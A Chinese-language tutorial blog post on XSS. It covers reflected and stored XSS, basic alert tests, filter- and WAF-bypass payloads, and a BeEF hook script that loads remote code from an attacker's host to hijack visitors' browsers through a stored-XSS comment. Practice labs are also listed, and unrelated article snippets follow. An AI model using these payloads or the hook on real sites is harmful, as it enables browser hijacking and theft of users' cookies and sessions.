news 2026/5/1 3:33:58

XSS跨站脚本攻击漏洞:从理论到实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS跨站脚本攻击漏洞:从理论到实战

在网络安全渗透测试中,XSS跨站脚本攻击是非常经典的高危漏洞,也是Web安全入门必须掌握的核心漏洞之一。它不像SQL注入那样直接和数据库打交道,而是直接在用户浏览器中执行恶意脚本,能直接控制用户的会话,窃取数据甚至直接接管浏览器,是红队攻击中非常常见的手段。今天就结合我的理解和大家梳理沟通XSS漏洞的原理,分类和实战利用方法。

一.XSS漏洞是什么?

跨站脚本攻击(XSS),核心原理就是恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

简单来说,就是网站没有对用户输入的内容做严格的过滤和转义,导致用户输入的恶意脚本被浏览器当做正常代码执行了。就行你在一个论坛评论区写了一句<script>alert('你被攻击了')</script>,如果网站没做过滤,所有打开这条评论的用户,浏览器都会弹出这个窗口,这就是最基础的xss攻击。

二.XSS漏洞的两大核心类型

根据恶意脚本的存储方式和触发机制,XSS主要分为反射型和存储型,只在用户发起请求时,临时“反射”回页面,触发一次就失效了。

1.反射型XSS也叫非持久型XSS

它的特点是恶意脚本不会被服务器存储,只在用户发起请求时临时“反射”回页面,触发一次就失效了。

触发场景:URL参数,搜索框,错误提示页面这类一次性展示用户输入的地方,比如搜索关键词,URL参数里的内容直接在前端页面上显示。

攻击流程:攻击者构造恶意脚本的URL,诱导受害者点击,服务器把脚本内容“反射”回页面,受害者的浏览器执行脚本,完成攻击。

典型列子:网站的搜索功能,搜索词会显示在页面上,比如http://example.com/search?q=用户输入,如果输入<script>alert('XSS')</script>,页面没有过滤,就会直接弹出窗口。

2.存储型XSS(持久型XSS)

存储型XSS也叫持久型XSS,它的特点是恶意脚本会被永久存储在目标服务器的数据库里,只要有用户访问了包含这段脚本的页面,就会触发攻击,危害比反射型大得多。

触发场景:评论区、留言板、用户资料、论坛帖子这类会把用户输入保存到数据库,再展示给其他用户的地方。

攻击流程:攻击者在输入框提交恶意脚本,服务器没有过滤,直接把脚本存到数据库里;之后只要任何用户访问这个页面,浏览器都会从数据库取出脚本并执行,相当于“永久投毒”。

典型例子:论坛评论区提交<script>alert('入侵你的系统')</script>,网站没有过滤,所有打开这条评论的用户都会被触发脚本,甚至可以用BeEF工具直接控制受害者的浏览器。

三、XSS漏洞的基础利用与实战

1. 基础弹窗测试最基础的测试

就是用 alert(1) 函数验证漏洞是否存在,这也是我们学习XSS的第一步,不同场景下的测试语句也不一样:(验证漏洞存在)

基础脚本标签<script>alert('已入侵你的系统')</script>,如果页面直接弹出窗口,说明没有过滤script标签。

结合HTML标签的测试<h1 style="font-size:70vw;">你被入侵了</h1>,测试HTML标签是否被过滤,也可以配合事件触发脚本,比如<h1 onclick="alert(1)">点击我</h1>

简单绕过过滤:如果网站过滤了 <script> 标签,可以尝试大小写绕过<SCRIPT>alert(1)</SCRIPT>,或者双写绕过<scr<script>ipt>alert(1)</scr</script>ipt>,也可以用其他标签比如< img src=x onerror=alert(1)><audio src=x onerror=alert(1)>这类事件触发的语句。

2. 进阶利用:BEEF-XSS控制浏览器

验证XSS漏洞存在后,就可以用BEEF工具来实现对浏览器的控制,这也是存储型XSS最有价值的利用方式。

核心原理:通过XSS漏洞,把受害者的浏览器hook到我们的BeEF服务器上,就能获取用户的Cookie、会话信息,甚至执行任意代码、重定向页面、记录键盘输入。基础hook语句:<script src="http://你的IP:3000/hook.js"></script>,只要受害者的浏览器执行了这段脚本,BeEF里就会上线这个主机,后续可以直接在BeEF面板里下发恶意指令。
- 实战场景:在存储型XSS漏洞的评论区提交这段hook代码,之后所有访问该页面的用户,都会自动被BEEF控制,相当于一个“永久后门”。

四、WAF绕过:突破网站的防护机制

很多网站都会用WAF(Web应用防火墙)来拦截XSS攻击,这时候就需要一些绕过技巧,让恶意脚本不被WAF识别。

1.标签/事件绕过:不用常见的 <script> 标签,改用<img> 、``、 <video> 、 <button>等标签配合事件触发,比如<audio src=x onerror=prompt(1);> 、 <a href= >点击这里</a >
2.编码绕过:把脚本内容用HTML实体编码、Unicode编码、JSFuck等方式变形,让WAF无法识别恶意内容,比如用String.fromCharCode()把字符转成ASCII码执行:<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))> 。
3.注释/分隔符绕过:在脚本里插入注释、换行符、空白字符,打乱WAF的正则匹配规则,比如<scri<!--test-->pt>alert(1)</script> 。

五、学习与靶场推荐

学习XSS漏洞,光看理论是不够的,一定要结合靶场实战,(下面是我平时使用的靶场,可以适当的参考):

1. pikachu靶场:有专门的XSS模块,包含反射型、存储型、DOM型多种场景,适合新手一步步测试和验证漏洞。
2. DVWA靶场经典的Web安全靶场,有不同安全等级的XSS关卡,可以练习不同过滤场景下的绕过技巧。
3. BEEF实战环境:自己搭建BeEF服务器,结合靶场的存储型XSS,练习浏览器hook和后续的控制操作,感受真实的攻击流程。

以上就是我整理的XSS漏洞学习笔记,从基础原理到简单利用,再到WAF绕过和实战工具,一步步从新手视角拆解了XSS漏洞的核心知识。XSS的利用方式非常灵活,需要多练多试,后续也会继续更新DOM型XSS和更多进阶绕过技巧的内容。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 3:32:58

MiGPT终极指南:将小爱音箱打造成你的专属AI语音助手

MiGPT终极指南&#xff1a;将小爱音箱打造成你的专属AI语音助手 【免费下载链接】mi-gpt &#x1f3e0; 将小爱音箱接入 ChatGPT 和豆包&#xff0c;改造成你的专属语音助手。 项目地址: https://gitcode.com/GitHub_Trending/mi/mi-gpt 你是否厌倦了小爱音箱千篇一律的…

作者头像 李华
网站建设 2026/5/1 3:32:19

Open-SWE:基于LLM的代码仓库智能理解与问答系统构建指南

1. 项目概述&#xff1a;当AI学会“看”代码仓库最近在AI编程辅助工具的圈子里&#xff0c;一个名为“Open-SWE”的项目引起了我的注意。这并非一个全新的独立应用&#xff0c;而是由LangChain AI团队开源的一个核心组件。简单来说&#xff0c;它是一套专门为大型语言模型&…

作者头像 李华
网站建设 2026/5/1 3:32:02

Android设备部署OpenClaw AI网关:无需Root的移动端AI服务器方案

1. 项目概述&#xff1a;在Android上运行AI网关的完整方案 如果你和我一样&#xff0c;是个喜欢折腾移动端开发&#xff0c;同时又对AI应用充满好奇的开发者&#xff0c;那么你肯定遇到过这样的困境&#xff1a;那些强大的AI模型和网关服务&#xff0c;比如OpenAI的API、Claud…

作者头像 李华
网站建设 2026/5/1 3:25:23

如何高效使用跨平台自动化工具:KeymouseGo 鼠标键盘录制实战指南

如何高效使用跨平台自动化工具&#xff1a;KeymouseGo 鼠标键盘录制实战指南 【免费下载链接】KeymouseGo 类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入 | automate mouse clicks and keyboard input 项目地址: https://gitcode.com/gh_mirrors/ke/KeymouseGo …

作者头像 李华
网站建设 2026/5/1 3:23:49

FIRE-Bench:AI科学发现能力的评估框架解析

1. 项目背景与核心价值在人工智能研究领域&#xff0c;科学发现能力的评估一直是个棘手问题。传统benchmark大多关注静态任务完成度&#xff0c;却难以衡量AI系统在真实科研场景中的探索与创新能力。FIRE-Bench的诞生正是为了解决这一痛点——它通过构建可复现的科学发现任务链…

作者头像 李华